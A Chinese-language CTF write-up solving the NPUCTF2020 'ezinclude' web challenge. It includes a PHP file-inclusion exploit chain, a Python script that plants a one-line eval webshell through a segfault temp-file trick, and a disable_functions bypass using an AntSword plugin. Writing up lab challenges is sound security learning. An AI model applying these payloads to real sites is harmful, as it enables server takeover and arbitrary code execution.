BUUOJ-[NPUCTF2020]ezinclude 1


BUUOJ-[NPUCTF2020]ezinclude 1

涉及的知識點

  • 文件上傳時的臨時文件
  • php7 文件上傳時 Segment Fault,上傳的臨時文件不會被刪除
  • 繞過disable_functions

解題過程

0 信息收集

沒啥能下手的,掃個目錄,存在index.phpdir.php404.html

1 index.php

訪問題目,返回如下內容

  • Set-Cookie中的Hash就是$md5($secret.$name)(經典腦洞)
  • 如果$name='',則有$md5($secret.$name)===$md5($secret)===上面的Hash
  • /?pass=上面的Hash即可,或者帶上&name=傳遞空值

提示跳轉到flflflflag.php

2 flflflflag.php

訪問flflflflag.php,提示有文件包含

php為協議讀源碼/flflflflag.php?file=php://filter/read=convert.base64-encode/resource=flflflflag.php(去掉了html部分)

<?php
$file=$_GET['file'];
if(preg_match('/data|input|zip/is',$file)){
	die('nonono');
}
@include($file);
echo 'include($_GET["file"])';
?>

可以看到過濾了data,input,zip協議

通過http協議測試,發現並沒有返回內容,說明allow_url_include=Off

那么,data://,php://input都是不可用的(可以參考偽協議可用條件)

可以用unicode編碼繞過preg_matchpreg_match執行后,會自動轉義unicode&#十進制ascii;

這里需要用到一個特性,在上傳文件時,如果出現Segment Fault,那么上傳的臨時文件不會被刪除。這里的上傳文件需要說明一下,一般認為,上傳文件需要對應的功能點,但實際上,無論是否有文件上傳的功能點,只要HTTP請求中存在文件,那么就會被保存為臨時文件,當前HTTP請求處理完成后,垃圾回收機制會自動刪除臨時文件。

使php陷入死循環直,產生Segment Fault的方法:(具體原理未找到,如果有大佬清楚,請告知,感謝。)

  • 使用php://filter/string.strip_tags/resource=文件
    • 版本要求:
      • php7.0.0-7.1.2
      • php7.1.3-7.2.1
      • php7.2.2-7.2.8
  • 使用php://filter/convert.quoted-printable-encode/resource=文件
    • 版本要求:
      • php<=5.6.38
      • php7.0.0-7.0.32
      • php7.0.4-7.2.12
    • 函數要求
      • file
      • file_get_contents
      • readfile

這里只能使用string.strip_tags,可以通過以下腳本上傳文件

import requests
from io import BytesIO


payload = "<?php eval($_POST['x']);?>"
file_data = {'file': BytesIO(payload.encode())}
url="url/flflflflag.php?file=php://filter/string.strip_tags/resource=/etc/passwd"
response = requests.post(url=url, files=file_data, allow_redirects=False)
print(response)

關於臨時文件,可以簡單說幾句

  • 存儲路徑,由php.ini中的upload_tmp_dir指定,
    • linux下默認值/tmp/
    • windwos下默認值C:/Windwos or C:/Windwos/Temp/
  • 命名規則
    • linux下,php+6個隨機字符
    • windows下,php+4個隨機字符.tmp
  • 生命周期
    • 開始處理帶有文件的POST請求
    • 保存臨時文件,並寫入數據
    • 執行php腳本
    • 刪除臨時文件

3 dir.php

訪問/dir.php找到臨時文件名,並通過/flflflflag.php?file=/tmp/臨時文件名進行代碼執行

flag在phpinfo()

本着拿shell的心態,可以繞過disable_funcitons

4 繞過disable_funcitons

用蟻劍連接會發現返回ret=127,含義為無法執行命令,可以手動(參考CTFHub->技能樹->Web進階->PHP disable_functions)或者使用蟻劍的插件進行繞過

使用PHP7_GC_UAF模式即可

參考


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM